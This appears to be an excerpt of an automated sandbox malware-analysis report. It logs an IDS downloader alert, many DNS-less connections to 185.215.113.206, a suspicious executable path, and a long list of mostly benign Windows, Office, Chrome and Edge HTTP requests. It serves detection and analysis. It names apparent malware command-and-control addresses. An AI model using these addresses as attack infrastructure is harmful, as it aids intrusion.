Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50127 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

Code function: 22_2_003CE0C0 recv,recv,recv,recv,

22_2_003CE0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CmdA3STzZDpZ5vo&MD=DuZ4CS8E HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732363294&P2=404&P3=2&P4=CdgzXQbpJzljDjjdc1pZ%2bsO6q48%2f4UeF%2bh3X5%2bYTIUv%2b4f7zQWxaygEm5inZ7T3vFzTiW4M8NlTnc4BrfIHpiA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: tqFr8hGRgUf89BJsr8QgCuSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
